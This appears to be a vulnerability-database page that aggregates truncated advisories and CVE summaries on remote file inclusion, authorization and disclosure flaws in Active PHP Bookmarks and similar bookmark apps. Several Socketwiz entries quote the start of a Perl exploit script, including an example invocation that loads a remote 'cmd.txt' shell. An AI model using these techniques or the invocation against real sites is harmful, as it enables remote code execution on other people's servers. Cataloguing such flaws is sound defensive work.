PT-2006-6801 · Active Php · Active Php Bookmarks

Name of the Vulnerable Software and Affected Versions: Active PHP Bookmarks version 1.1.02 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the APB SETTINGS'apb path' parameter in 1 apb common.php or 2 apb.php. However, it is noted that the PHP scripts exi...

Active PHP Bookmarks APB_SETTINGS['apb_path']远程文件包含漏洞

Active PHP Bookmarks一款基于php的WEB应用程序。 Active PHP Bookmarks不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'APBSETTINGS'apbpath''参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 lbstone Active PHP Bookmarks 1.1.2 http://lbstone.com/...

apb-rfi.txt

Title : Active PHP Bookmarks apb.php Remote file include Discovered By :::: ThE-LoRd-Of-CrAcKiNg MeHdi ------------------------------------------------------------------------ Sorce Code: http://lbstone.com/apb/downloads/apb-1.1.02.zip Affected software description : Application : Active PHP...

Active PHP Bookmarks (apb.php) Remote file include

Title : Active PHP Bookmarks apb.php Remote file include Discovered By :::: ThE-LoRd-Of-CrAcKiNg MeHdi ------------------------------------------------------------------------ Sorce Code: http://lbstone.com/apb/downloads/apb-1.1.02.zip Affected software description : Application : Active PHP...

Active PHP BookMarks 1.1.2 - Multiple Remote File Inclusions

Active PHP BookMarks 1.1.2 - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/21263/info Active PHP Bookmarks application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may all...

Socketwiz BookMarks 2.0 - root_dir Remote File Inclusion

Socketwiz BookMarks 2.0 - rootdir Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks perl exploit.pl http://site.com/Socketwiz BookmarksPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcm...

Socketwiz Bookmarks <= 2.0 (root_dir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks = 2.0 rootdir Remote File Include Exploit + + + - Script name: Socketwiz Bookmarks v. 2.0 - Script site: http://www.hotscripts.pl/pobierz-2232.html + +...

Socketwiz BookMarks 2.0 - 'root_dir' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Socketwiz Bookmarks perl exploit.pl http://site.com/Socketwiz BookmarksPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda =...

CVE-2003-1255

The vulnerability CVE-2003-1255 affects Active PHP Bookmarks (APB) 1.1.01, where add_bookmark.php allows remote attackers to add arbitrary bookmarks as other users by modifying the auth_user_id parameter. The issue arises from improper authorization checks during bookmark creation, enabling unaut...

CVE-2003-1254

APB 1.1.01 is affected by a remote PHP code execution vulnerability. An attacker can cause arbitrary code execution by altering the APB_SETTINGS parameter to point to a remote URL containing code, via files head.php , apb_common.php , or apb_view_class.php . The root cause is loading code from a ...

CVE-2003-1255

addbookmark.php in Active PHP Bookmarks APB 1.1.01 allows remote attackers to add arbitrary bookmarks as other users using a modified authuserid parameter...

CVE-2003-1254

Active PHP Bookmarks APB 1.1.01 allows remote attackers to execute arbitrary PHP code via 1 head.php, 2 apbcommon.php, or 3 apbviewclass.php by modifying the APBSETTINGS parameter to reference a URL on a remote web server that contains the code...

CVE-2004-2155

Online-bookmarks before 0.4.6 allows remote attackers to bypass its authentication mechanism via a direct request to 1 config/, 2 bookmarks.php, 3 footer.php, 4 main.php, 5 tree.php, or 6 functions.php...

CVE-2004-2155

CVE-2004-2155 affects Online-Bookmarks prior to 0.4.6. The vulnerability allows remote attackers to bypass authentication by issuing direct requests to (config/*, bookmarks.php, footer.php, main.php, tree.php, or functions.php). The issue is a direct authentication bypass without requiring user i...

CVE-2005-1631

Booby 1.0.0 (and earlier) is affected by an information-disclosure vulnerability: remote attackers can view private bookmarks by guessing item IDs. The root cause is external access to bookmark items through guessable identifiers, as described in CVE-2005-1631. The connected records repeat the sa...

CVE-2005-1631

booby.php in Booby 1.0.0 and earlier allows remote attackers to view private bookmarks by guessing item IDs...

CVE-2005-1631

booby.php in Booby 1.0.0 and earlier allows remote attackers to view private bookmarks by guessing item IDs...

[SA15305] Booby Disclosure of Private Bookmarks

---------------------------------------------------------------------- Want a new IT Security job? Vacant positions at Secunia: http://secunia.com/secuniavacancies/ ---------------------------------------------------------------------- TITLE: Booby Disclosure of Private Bookmarks SECUNIA ADVISORY...

Nuke BookMarks 0.6 - Marks.php SQL Injection

Nuke BookMarks 0.6 - Marks.php SQL Injection source: https://www.securityfocus.com/bid/12908/info Nuke Bookmarks is prone to an SQL injection vulnerability. This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or...

Nuke BookMarks 0.6 - Marks.php Full Path Disclosure

Nuke BookMarks 0.6 - Marks.php Full Path Disclosure source: https://www.securityfocus.com/bid/12906/info Nuke Bookmarks is prone to a path disclosure issue when invalid data is submitted. This issue can allow an attacker to access sensitive data that may be used to launch further attacks against ...